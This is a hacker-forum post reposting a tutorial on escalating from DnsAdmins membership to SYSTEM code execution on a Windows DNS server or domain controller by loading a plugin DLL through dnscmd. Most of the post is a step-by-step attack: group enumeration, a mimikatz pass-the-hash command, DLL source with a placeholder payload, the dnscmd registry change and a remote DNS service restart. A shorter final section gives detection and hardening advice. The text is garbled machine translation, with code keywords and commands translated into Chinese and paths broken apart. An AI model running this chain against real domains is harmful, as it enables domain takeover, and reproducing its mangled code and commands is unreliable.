跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

利用dnscmd实现DNS服务器远程加载Dll的域穿透3354


轩辕三官

推荐的帖子

0x00 前言

Shay Ber公开的一种利用方法,在域环境下,使用DNSAdmin权限可以实现在DNS服务器上远程加载Dll。这不是漏洞,但可以作为域渗透技能。本文将根据自己的经验对这个利用技巧进行梳理,补充自己的理解,并根据利用思路给出防御建议。

参考资料:

https://medium . com/@ esnesenon/feature-not-bug-dnsadmin-to-DC-compromise-in-one-line-a0f 779 b 8dc 83

0x01 简介

本文将介绍以下内容:

详细利用方法

防御思维

0x02 详细利用方法

利用条件:

获取域中DnsAdmins、Domain Admins或Enterprise Admins组中用户的密码或哈希。

注:

默认情况下,不仅可以配置DnsAdmins组中的用户,还可以配置域管理员或企业管理员组中的用户。

1、查看关键组内的用户

查看所有组:

网络组/域

要查看DnsAdmins组中的用户:

不能用net group命令查看,但可以用PowerView查看。

导入模块。\PowerView.ps1

get-net group member-group name ' DNS admins '

要查看域管理员组中的用户:

网络组“域管理员”/域

要查看企业管理员组中的用户:

网络组“企业管理员”/域

2、获得关键用户的口令或者hash

您需要获得DnsAdmins、域管理员或企业管理员组中任何用户的密码或哈希。

3、准备Payload.dll

您需要定义三个导出函数:

DnsPluginInitialize

DnsPluginCleanup

DnsPluginQuery

可以参考前面的开源项目来定义导出功能:

https://github.com/3gstudent/Add-Dll-Exports

这里通过def文件声明导出函数,测试代码如下:

dllmain.cpp:

DWORD WINAPI DnsPluginInitialize(PV oid a1,PVOID a2)

{

返回0;

}

DWORD WINAPI DnsPluginCleanup()

{

返回0;

}

DWORD WINAPI DnsPluginQuery(PVOID a1、PVOID a2、PVOID a3、PVOID a4)

{

WinExec('calc.exe ',SW _ show normal);

返回0;

}

BOOL API entry DllMain(HMODULE HMODULE,

呼叫的原因,

LPVOID lpReserved

)

{

开关(ul_reason_for_call)

{

案例DLL_PROCESS_ATTACH:

案例DLL_THREAD_ATTACH:

案例DLL_THREAD_DETACH:

案例DLL_PROCESS_DETACH:

打破;

}

返回TRUE

}。定义文件:

出口

DnsPluginInitialize

DnsPluginCleanup

DnsPluginQuery

生成testdns.dll

4、Payload.dll保存的位置

需要由DNS服务器远程访问

在这里可以使用域中的共享文件夹SYSVOL,默认情况下所有域用户都可以访问。

更多详情请参考之前的文章:《域渗透——利用SYSVOL还原组策略中保存的密码》

我的测试域环境名是test.com,域中的共享文件夹路径是:\ \ test.com \ sysvol \ test.com \ scripts \ testdns.dll。

5、准备dnsadmin

通常,域中的Windows主机不支持dnsadmin命令。

默认安装的系统:

Windows Server 2003

Windows Server 2008

Windows Server 2003 R2

Windows Server 2008 R2版

Windows Server 2012

带有SP1的Windows Server 2003

参考资料:

https://docs . Microsoft . com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-和-2012/cc772069(v=ws.11)

Win7系统在使用时需要安装远程服务器管理工具(rsat)。

下面介绍了在没有远程服务器管理工具(rsat)的系统上执行dnscmd命令的方法:

(1)将dnscmd.exe保存在C:\Windows\System32下

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe

(2)将dnscmd.exe.mui保存在C:\Windows\System32\en-US下

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

注:

和dnscmd.exe dnscmd . exe . mui是在我的测试系统(Windows Server 2008 R2x64)中获得的。

详情请参考之前的文章《域渗透——DNS记录的获取》。

6、启动dnscmd

Dnscmd不支持远程操作输入凭证的功能,但是这里需要mimikatz的Over pass hash函数。

测试环境已经获得了关于关键用户的以下信息:

用户名:管理员

密码:DomainAdmin456!

哈希:a55e 0720 f 0041193632 a 58 e 007624 b 40

在命令行下执行:

mimikatz.exe特权:debug ' sekurlsa:PTH/user:Administrator/domain:test . com/NTLM:a55e 0720 f 0041193632 a 58e 007624 b 40 '

这将弹出一个cmd.exe,并在cmd.exe中执行dnscmd命令。

也可以实现自动输入:

在命令行下执行:

mimikatz.exe特权*调试' sekurlsa:PTH/用户:管理员/域:测试。com/NTLM:a55e 0720 f 0041193632 a 58e 007624 b 40/run:' cmd。exe/c:\ test \ 1。蝙蝠”

c:\test\1.bat中保存dnscmd的命令

7、使用dnscmd命令

域名服务器(域名服务器)服务器的IP:192.168.10.1

命令行执行:

dnscmd 192。168 .10 .1/config/serverlevelplugindll \ \ test。com \ SYSVOL \ test。com \ scripts \ test DNS。动态链接库

对于域名服务器(域名服务器)服务器来说,此时会新建一个注册表项

位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\ services \ DNS \ Parameters \

ServerLevelPluginDll

注册_SZ

\ \测试。com \ SYSVOL \ test。com \ scripts \ testdns。动态链接库

8、重启DNS服务后会加载dll

等待域名服务器(域名服务器)服务器重启

或者远程重启域名服务器(域名服务器)服务器:

sc \\192.168.10.1停止十进位计数制

sc \\192.168.10.1启动十进位计数制

域名服务器(域名服务器)服务器的后台进程如下图

2-1.png

dns.exe将会多次调用testdns.dll,权限为系统

9、实际利用

实际环境中,通常域名服务器(域名服务器)服务器和域控制器是同一台主机

0x03 防御建议

1、控制权限

避免关键用户凭据被攻击者获得

这里可以使用PowerView查看关键用户登陆过哪些主机

导入模块. PowerView.ps1

调用-用户猎人-用户名管理员用户

2、监控和设置注册表

位置:KEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\ services \ DNS \ Parameters \

利用dnscmd在域名服务器(域名服务器)服务器上实现远程加载动态链接库时,会以系统权限修改注册表,如果修改注册表HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\服务\ DNS \参数\的ACL(访问控制列表),删除系统用户的给定值权限,能够阻止这个方法的利用

如下图

2-2.png

但有可能影响其他正常功能,该注册表项下的其他键值信息如下:

HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\服务\ DNS \参数

GlobalQueryBlockList REG _ MULTI _ SZ wpad \ 0 isatap

EnableGlobalQueryBlockList REG _ DWORD0x 1

前一个本地主机名注册_ SZ WIN-F08C969D7FM.test.com

BootMethod REG_DWORD0x3

AdminConfigured REG_DWORD0x1

3、查看日志

(1)记录DNS服务的启动和停止

位置:应用程序和服务日志-域名系统服务器

命令行查看:

wevtutil qe的dns服务器/rd:true /f:text

身份证明为2代表域名服务器(域名服务器)服务启动,ID为四代表域名服务器(域名服务器)服务关闭

(2)记录添加Dll的操作

需要使用增强版的域名服务器(域名服务器)日志记录和诊断功能,服务器2016默认支持,服务器2012需要安装补丁2956577

参考文档:

https://份文件。微软。com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn 800669(v=ws。11)

补丁说明:

https://支持。微软。com/en-us/help/2956577/update-adds-query-log-and-change-audit-to-windows-DNS-servers

补丁下载:

https://www.catalog.update.microsoft.com/Search.aspx?q=2956577

添加动态链接库的操作会产生身份证明为541的日志

0x04 小结

本文介绍了利用dnscmd在域名服务器(域名服务器)服务器上实现远程加载动态链接库的方法,结合利用思路给出防御建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...